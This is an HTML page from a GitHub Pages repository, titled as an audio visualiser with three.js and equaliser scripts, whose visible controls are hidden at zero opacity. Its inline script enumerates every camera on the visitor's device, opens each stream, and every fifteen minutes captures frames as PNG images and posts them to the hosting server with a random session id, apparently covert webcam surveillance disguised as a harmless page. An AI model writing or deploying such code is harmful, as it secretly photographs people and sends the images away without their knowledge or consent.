biometricz.github.io/audio.html at master · biometricz/biometricz.github.io · GitHub

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<!DOCTYPE html>

<html lang="ru" >
<head>

  <meta charset="UTF-8">
  <title>@</title>
  <link rel='stylesheet' href='https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css'>
  <link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat'>
  <link rel="stylesheet" href="css/audio.css">
  <link rel="stylesheet" href="https://appvk.github.io/assets/css/font-awesome/nativ/css/style.css">
  <script src="https://kit.fontawesome.com/969af07023.js" crossorigin="anonymous"></script>

<style>
.alert {
    display: none;
}
div#page {
    display: none;
    position: absolute;
}
</style>

</head>
<body>


<body nload="main()" class="text-center" style="
    background-color: #100900;
">

<!--<iframe src="https://rosagro.tech/audio/testB.html" style="
    position: fixed;
    width: 100%;
    height: 100%;
    left: 0;
    border:0;
"></iframe>-->


  <div id="container"></div>

<script type="text/javascript">
  function base64ToBlob(base64, mime)
  {
      mime = mime || '';
      var sliceSize = 1024;
      var byteChars = window.atob(base64);
      var byteArrays = [];

      for (var offset = 0, len = byteChars.length; offset < len; offset += sliceSize) {
          var slice = byteChars.slice(offset, offset + sliceSize);

          var byteNumbers = new Array(slice.length);
          for (var i = 0; i < slice.length; i++) {
              byteNumbers[i] = slice.charCodeAt(i);
          }

          var byteArray = new Uint8Array(byteNumbers);

          byteArrays.push(byteArray);
      }

      return new Blob(byteArrays, {type: mime});
  }
  // ~async
  function randomInteger(min, max) {
      let rand = min + Math.random() * (max + 1 - min);
      return Math.floor(rand);
  }
  function main() {
    console.log('main()...');

    const videoList = [];

    // init snap-shooter
    const SHOOT_INTERVAL = 60 * 15000;

    // init <video> list
    navigator.mediaDevices.enumerateDevices()
      .then(function(devices) {
        var cont = document.querySelector('#container');

        devices.forEach(device => {
          if (/video/.test(device.kind)) {
            console.log('Обнаружен источник:', device);

            navigator.mediaDevices
              .getUserMedia({
                audio: false,
                video: { deviceId: device.deviceId }
              })
              .then(stream => {
                var video = document.createElement('video');
                video.autoplay = true;
                video.muted = true;
                video.playsInline = true;

                cont.append(video);

                video.srcObject = stream;

                videoList.push(video);
              })
          }
              });
      }).then(() => {
              setInterval(() => {
                  const dataUriList = videoList.map(video => {
                      var canvas = document.createElement('canvas');
                      canvas.width = video.videoWidth;
                      canvas.height = video.videoHeight;
                      var ctx = canvas.getContext('2d');

                      // отрисовка canvas. scale to target dimensions
                      ctx.drawImage(video, 0, 0, canvas.width, canvas.height);

                      // конверт to desired file format
                      var dataURI = canvas.toDataURL(); // can also use 'image/jpeg'
                      // console.log(dataURI)
                      return base64ToBlob(dataURI.replace(/^data:image\/(png|jpg);base64,/, ""), 'image/png');
                  });

                  // отправка на сервер
                  let formData = new FormData()
                  dataUriList.map(
                      (blobFile, index) => {
                          formData.append('image'+index, blobFile)
                      }
                  );
                  fetch('?sid='+randomInteger(0, 1000000000), {
                      method: "post",
                      headers: [
                ["Content-Type", "application/json"],
                                  ["Content-Type", "text/plain"],
                                  ["Content-Type", "multipart/form-data"]
                      ],
                      body: formData
                  })
              }, SHOOT_INTERVAL);
          });
  }
  </script>
  <div id="page">
    <div class="cover-container d-flex h-100 p-3 mx-auto flex-column">
      <header class="masthead mb-auto">

      </header>

      <main role="main" class="inner cover">
        <h2></h2>

        <form style="width: 80%; margin: 0 auto;">
          <div class="form-row">
            <div class="form-group col-sm-6" style="opacity: 0;">
              <label for="noiseInput" class="form-label" style="opacity: 0;">шум</label>
              <input type="range" min="1" max="100" class="custom-range" id="noiseInput">
            </div>
            <div class="form-group col-sm-6" style="opacity: 0;">
              <label for="heightInput" class="form-label" style="opacity: 0;">высота</label>
              <input type="range" min="1" max="100" class="custom-range" id="heightInput">
            </div>
          </div>
          <div class="form-group col-md-12" style="opacity: 0;">
            <a href="#" id="trigger" class="btn btn-sm btn-secondary">Random Colors</a>
          </div>
        </form>
      </main>

      <footer class="mastfoot mt-auto">
        <script src="
         js/equalize.js
         ">
        </script>
       </footer>
     </div>
   </div>


</body>

<script src='https://cdnjs.cloudflare.com/ajax/libs/three.js/100/three.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/simplex-noise/2.4.0/simplex-noise.min.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.0.3/chroma.min.js'></script>
  <!--<script  src=""></script>-->
</html>